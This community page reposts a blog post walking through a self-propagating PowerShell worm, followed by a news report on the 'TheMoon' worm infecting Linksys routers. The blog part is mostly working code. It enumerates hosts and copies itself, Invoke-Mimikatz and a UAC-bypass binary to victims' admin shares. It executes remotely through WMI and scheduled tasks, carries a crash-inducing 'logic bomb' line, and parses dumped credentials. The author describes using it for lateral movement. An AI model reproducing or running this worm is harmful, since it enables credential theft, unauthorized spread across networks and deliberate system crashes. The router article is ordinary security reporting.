Search the Community

TL;DR: Another Powershell Worm here. Recently, I was approached with a few ideas about worms to test the potential to detect/stop such. This, and reading some interesting posts about PowerShell based worm(s), pushed me to attempt to build a worm with a slightly different take. One of the requirements of this worm is to propagate without certainty of an external connection or not to the internet. This is important if the worm is to jump across an airgap’d network somehow or if the command and control is severed. Also, attempting to dump creds and setting some sort of persistence would be a plus. Lastly, the whole thing (or as much as possible) should be written in powershell, so the option of base64 encoding it and running it in memory is present. Target enumeration This is a pick your own adventure technique. First, the worm will need to identify potential targets to spread to. The worm uses 3 techniques (others may exist) to enumerate targets: Dump domain hosts grab local class C grab IPs from netstat As annotated in an earlier post, we can cycle domain hosts pretty easily if we are logged into a domain via: function getDomain { $final = @() #get Domain computers $strCategory = "computer" $objDomain = New-Object System.DirectoryServices.DirectoryEntry $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objSearcher.SearchRoot = $objDomain $objSearcher.Filter = ("(objectCategory=$strCategory)") $colProplist = "name", "cn" foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} $colResults = $objSearcher.FindAll() foreach ($objResult in $colResults) { $objComputer = $objResult.Properties $bleh = $objComputer.name $final += $bleh } return $final } But what if the victim host isn’t a part of a domain? This will fail, so error handling will be useful here (see final version at the top of the page). The next attempt to enumerate hosts is a class c brute force. To set this up, the worm needs to know the current IP address of the machine we are on, a la: $enum = Get-WMIObject win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true } | Foreach-Object { $_.IPAddress } | Foreach-Object { [IPAddress]$_ } | Where-Object { $_.AddressFamily -eq 'Internetwork' } | Foreach-Object { $_.IPAddressToString } Then, the worm parses the first 3 octets and runs through a for loop (assumes /24 at the moment): function getClassC{ Param($ip); $final = @() $classC = $ip.Split(".")[0]+"."+$ip.Split(".")[1]+"."+$ip.Split(".")[2] for($i=1; $i -lt 255; $i++) { $final += $classC + $i.ToString() } return $final } Lastly, the worm will try a netstat “hail mary”: #//netstat mode $n = netstat -ano foreach ($n2 in $n) { $n4= $n2.Split(" ") foreach ($n3 in $n4) { $n5 = $n3.Split(":")[0] if (($n5.Length -gt 7) -and ($n5.Length -lt 22)) { if (!( ($n5 -eq "0.0.0.0") -or ($n5 -eq $ip) -or ($n5 -eq "127.0.0.1") ) ) { if ($n5.Contains(".")) { Write-Host $n5 $final += $n5 } } } } } Spreading technique In the testing environment, we were able to spread using the various techniques, but for simplicity we will discuss PsDrive (additional techniques may be used). The credentials used to run the worm as (or lack thereof) will dictate what is available. PsDrive can set up a powershell accessible share much like net share, except that this share is only viewable in powershell! Screenshot of successfully created PS-Drive that does not show up under net use. Here, the worm sets up the PsDrive to copy files over, moves the files to the destination (via C$ in our example, but others shares may exist): $prof = "USERPROFILE" $profile = (get-item env:$prof).Value +"\Downloads" $pro1 = $profile.SubString(3, $profile.Length-3) $psdrive = "\\"+$nethost+"\C$\"+ $pro1 New-PsDrive -Name Y -PsProvider filesystem -Root $psdrive Next, the worm (and any additional scripts) are copied over: Copy-Item $profile\PowerW0rm.ps1 Y:\PowerW0rm.ps1 Copy-Item $profile\PowerW0rm.mof Y:\PowerW0rm.mof Copy-Item $profile\Invoke-Mimikatz.ps1 Y:\Invoke-Mimikatz.ps1 Copy-Item $profile\bypassuac-x64.exe Y:\bypassuac-x64.exe Finally, since this code is running in a loop, the worm removes the PsDrive: Remove-PsDrive Y Code Execution By default in a Windows 7/Server 2008 R2 environment, Remote Powershell isn’t enabled by default. However, other options do exist depending on access level and GPO settings. The worm uses two methods of code execution: schtasks and Invoke-WMIMethod (others will exist, such as Invoke-Command). Some of the examples can be found below: $run = "powershell -exec Bypass "+$profile+"\\PowerWorm.ps1" $task = $profile+"\\bypassuac-x64.exe /C powershell.exe -exec Stop-Process csrss" # BSOD for a logic bomb #run with dump creds Invoke-WMIMethod -Class Win32_Process -Name Create -Authentication PacketPrivacy -Computername $nethost -Credential $cred -Impersonation Impersonate -ArgumentList $run #run as current user Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $run #schtask example schtasks /CREATE /S $nethost /SC Daily /MO 1 /ST 00:01 /TN "update54" /TR $task /F #scheduled for the 1st of the year @ 00:01 AM schtasks /RUN /TN "update54" #Runs task immediately (kills worm, but just PoC) schtasks /DEL /TN "update54" #would never run in this context, but is an example Credential Harvesting The worm uses a call to Invoke-Mimikatz.ps1 from the PowerSploit project to dump and parse creds as it jumps from machine to machine. This is achieved will a slight modification to the very end of Invoke-Mimikatz.ps1: $creds = Invoke-Mimikatz -dumpcreds Write-Host $creds The worm first calls Invoke-Minikatz: #try to grab creds $scriptPath = split-path -parent $MyInvocation.MyCommand.Definition $scriptPath = $scriptPath + "\Invoke-Mimikatz.ps1 -dumpcreds" $creds = "powershell.exe -exec Bypass " + $scriptPath $creds_str = runCMD $creds Followed by some nifty regex to extract just username and password from output: $creds_regex= @" .*\*\sUsername.* .*\*\sDomain.* .*\*\sPassword.* "@ $creds_str = $creds -replace " ", "`r`n" $cred_store = @{} $found = new-object System.Text.RegularExpressions.Regex($creds_regex, [System.Text.RegularExpressions.Regexoptions]::Multiline) $m=$found.Matches($creds_str) And finally, some last minute parsing which trims the strings to exactly what is needed: function parsed() { Param([string]$str1) $p1 = $str1 -split '[\r\n]' $parse=@() for ($j=0; $j -lt 3; $j++) { $num = $j*2 $p2 = $p1[$num].split(":") #Write-Host $j "," $num "," $p2 $p3 = $p2[1] $parse+= , $p3 } return $parse } Additional thoughts At the top of the post, as well as here, is a link for the complete PoC PowerWorm.ps1. It works well on Vista/7, but there seem to be a few bugs trying run this against XP/8 (due to an error with Invoke-Mimikatz). I used something very similar after gaining domain admin credentials, then began laterally moving in an environment where psexec/winrm/pass-the-hash tricks did not seem to work. I did have some issues (duh) with this worm hammering the DC because there is no check in place to see if the worm had already ran on a host, and the DC is the first host in the domain hosts array! The fix for this issue is left as an exercise for the reader. Also, this script could be easily modified to roll out other files/scripts/binaries across a domain automatically-which I also did trying to push traffic generation scripts for testing at a later date, but that story is for another post. Source: https://khr0x40sh.wordpress.com/2014/11/13/powershell-worm/

A self-replicating program infects Linksys routers by exploiting an authentication bypass vulnerability IDG News Service - A self-replicating program is infecting Linksys routers by exploiting an authentication bypass vulnerability in various models from the vendor's E-Series product line. Researchers from SANS Institute's Internet Storm Center (ISC) issued an alert Wednesday about incidents where Linksys E1000 and E1200 routers had been compromised and were scanning other IP (Internet Protocol) address ranges on ports 80 and 8080. On Thursday the ISC researchers reported that they managed to capture the malware responsible for the scanning activity in one of their honeypots -- systems intentionally left exposed to be attacked. The attacks seems to be the result of a worm -- a self-replicating program -- that compromises Linksys routers and then uses those routers to scan for other vulnerable devices. "At this point, we are aware of a worm that is spreading among various models of Linksys routers," said Johannes Ullrich, the chief technology officer at SANS ISC, in a separate blog post. "We do not have a definite list of routers that are vulnerable, but the following routers may be vulnerable depending on firmware version: E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900." The worm, which has been dubbed TheMoon because it contains the logo of Lunar Industries, a fictitious company from the 2009 movie "The Moon," begins by requesting a /HNAP1/ URL from devices behind the scanned IP addresses. HNAP -- the Home Network Administration Protocol -- was developed by Cisco and allows identification, configuration and management of networking devices. The worm sends the HNAP request in order to identify the router's model and firmware version. If it determines that a device is vulnerable, it sends another request to a particular CGI script that allows the execution of local commands on the device. SANS has not disclosed the name of the CGI script because it contains an authentication bypass vulnerability. "The request does not require authentication," Ullrich said. "The worm sends random 'admin' credentials but they are not checked by the script." The worm exploits this vulnerability to download and execute a binary file in ELF (Executable and Linkable) format compiled for the MIPS platform. When executed on a new router, this binary begins scanning for new devices to infect. It also opens an HTTP server on a random low-numbered port and uses it to serve a copy of itself to the newly identified targets. The binary contains a hardcoded list of over 670 IP address ranges that it scans, Ullrich said. "All appear to be linked to cable or DSL modem ISPs in various countries." It's not clear what the purpose of the malware is other than spreading to additional devices. There are some strings in the binary that suggest the existence of a command-and-control server, which would make the threat a botnet that attackers could control remotely. Linksys is aware of the vulnerability in some E-Series routers and is working on a fix, said Mike Duin, a spokesman for Linksys owner Belkin, in an email Friday. Ullrich outlined several mitigation strategies in comments to his blog post. First of all, routers that are not configured for remote administration are not directly exposed to this attack. If a router needs to be administered remotely, restricting access to the administrative interface by IP address will help reduce the risk, Ullrich said. Changing the port of the interface to something other than 80 or 8080, will also prevent this particular attack, he said. Via Worm 'TheMoon' infects Linksys routers - Network World